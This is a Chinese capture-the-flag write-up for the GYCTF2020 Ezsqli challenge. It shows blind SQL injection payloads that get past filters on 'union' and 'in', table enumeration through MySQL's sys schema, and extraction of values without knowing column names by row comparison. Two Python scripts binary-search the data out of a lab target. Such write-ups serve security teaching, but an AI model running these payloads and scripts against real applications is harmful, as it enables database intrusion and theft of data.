[GYCTF2020]Ezsqli

本文深入探讨SQL盲注的技巧,包括payload设计、利用二分法爆破、绕过过滤器方法,以及如何在未知列名的情况下进行数据比较爆破。通过实战案例,展示如何在限制环境下成功提取数据库信息。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

打开靶机,查看源代码发现让post一个id过去,根据题目意思,这里应该存在sql注入
在这里插入图片描述
由于本人习惯性喜欢使用异或进行测试,所以立刻发现这道题的注入payload,以下是测试过程:

id=1^1	#Error Occured When Fetch Result.即id=0,查询无结果
id=1^0	#Nu1L	id=1
id=1^'0' #Nu1L	数字型注入,若为单引号字符注入此处会报错bool(false)
id=1^'union'	#SQL Injection Checked.过滤测试

通过测试发下unioninorif被过滤了
但是asciisubstrselect逗号左右括号,=,<,>都没有过滤。依旧可以sql盲注来爆数据库名。
常用sql盲注payload:

id=0^(ascii(substr(select database()),1,1))>97)

知识点1: 由于平台原因,我使用了二分法来爆破,容易爆破出结果,还不容易被断开连接。还可以使用time.sleep()函数,保证不会因为频繁的访问导致断开链接。
知识点2: 过滤了in导致information表不可用。可以参考这篇文章聊一聊bypass information_schema

由于performance_schema过于复杂,所以mysql在5.7版本中新增了sys 数据库,基础数据来自于performance_chema和information_schema两个库,本身数据库不存储数据。

查看数据版本信息select version(),数据库版本为5.7.29符合要求。
sys数据库中的以下三个视图中存储了表名table_name:

  • sys.schema_auto_increment_columns #存在自增主键的表会出现在此视图
  • sys.schema_table_statistics_with_buffer #数据来源视图
  • sys.x$schema_table_statistics_with_buffer #数据来源视图

ps:高版本mysql的information_schema 数据库中还存在以下两个表可以查询表名和列名。

  • INNODB_TABLES
  • INNODB_COLUMNS

由于过滤了in,因此此处选择了sys.schema_table_statistics_with_buffer表爆破表名。
附上二分法注入脚本
坑点:原文的编码为Windows-1252,必须设置响应包的编码t.encoding="Windows-1252"不然会报错。

import requests
import time
import string
url="http://334f9701-ac6e-4158-b91b-450d336d1ca1.node3.buuoj.cn/"
flag=""
'''
for i in range(1,50):#flag长度
    print(i,":")
    low=32
    high=128
    mid = (low+high)//2
    while low<=high:
        #print(mid)
    #for j in range(32,128):#可见字符长度
    	#payload="0^(ascii(substr(select database()),{0},1))>{1})".format(i,mid)
    	#payload="0^(ascii(substr(select version()),{0},1))>{1})".format(i,mid)
        #payload="0^(ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),{0},1))>{1})".format(i,mid)
        data={
            "id":payload
            }
        t = requests.post(url,data=data)
        #print(t.apparent_encoding)
        t.encoding="Windows-1252"
        print(t.text)
        if("Nu1L" in t.text):
            low=mid+1
            mid = (low+high)//2
        else:
            high=mid-1
            mid = (low+high)//2
    flag+=chr(high+1)
    print(flag)
    time.sleep(2)

爆出表名为f1ag_1s_h3r3_hhhhh
知识点三: 表名是可以查出来了,可是列名呢?
1、利用报错爆出列名。
举个例子
在这里插入图片描述
可以看到查询出的结果将两个表的列名组合到一起产生了一个结果表,这个时候对这个结果表进行一次查询。
select * from test as a;等同于select * from test a;给test表起了一个别名
在这里插入图片描述
在这里插入图片描述
报错:重复的列名Id。通过报错可以看到将列名爆了出来。但是此处无回显。故不可用。
2、无列名注入
参考CTF|mysql之无列名注入

在不知道列名的情况下进行 sql 注入
无列名注入的原理其实很简单,类似于将我们不知道的列名进行取别名操作,在取别名的同时进行数据查询,所以,如果我们查询的字段多于数据表中列的时候,就会出现报错。

举个例子:
在这里插入图片描述
列数不对时会报错。
在这里插入图片描述
可以看出我们的列名被1,2,3代替了,此时可以不需要列名,即可查询出表中的数据。
在这里插入图片描述
若反引号被过滤,也可使用别名代替。
在这里插入图片描述
但此处union被过滤了,故此方法不可用。
3、数据比较
参考无需“in”的SQL盲注
就是将查询语句与相同数量的列进行比较
举个例子
在这里插入图片描述

在这里插入图片描述
测试发现mysql在字符和数字比较的时候,会将字符串转成数字。而字符串之间的比较遵循从右到左的优先级挨个比较。
通过这种方法,可以在不知道字段名的条件下将字段值爆出来。
测试了一下,发现列数为2。(列数和数据为1时报错bool(false))
在这里插入图片描述
在第一列通常为数字型的索引,猜测第二列即为flag值flag{xxx}
在这里插入图片描述
在这里插入图片描述
确定第一列为索引,值为1。为什么(1,1)>(1,‘flag’) =1呢,因为数字与字符串比较时,会将字符串转为数字flag=0. 所以(1,1)>(1,0)=1
此时
在这里插入图片描述
当f改为g是,即出现(1,‘g’) > (1,‘flag’) = 1。此时返回id=0^1=1
在这里插入图片描述猜测正确。下面就是爆破出flag的值了。
附上python脚本:

flag=""
for j in range(1,50):
    print(j,":")
    low = 32
    high = 128
    mid=(low+high)//2
    while low <=high:
        print(mid)
        flag1=flag+chr(mid)
        payload="0^((1,'{0}')>(select * from f1ag_1s_h3r3_hhhhh))".format(flag1)
        data={
                "id":payload
                }
        t = requests.post(url,data=data)
        t.encoding="Windows-1252"
        #print(t.text)
        if "Nu1L" in t.text:
            high=mid-1
            mid=(low+high)//2
        else :
            low = mid+1
            mid=(low+high)//2       
    print(flag,chr(high))
    flag+=chr(high)
    time.sleep(2)

参考文章: https://www.jianshu.com/p/5aad090eb613
https://nosec.org/home/detail/3830.html
https://zhuanlan.zhihu.com/p/98206699?utm_source=wechat_session
https://www.anquanke.com/post/id/193512#h2-0

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值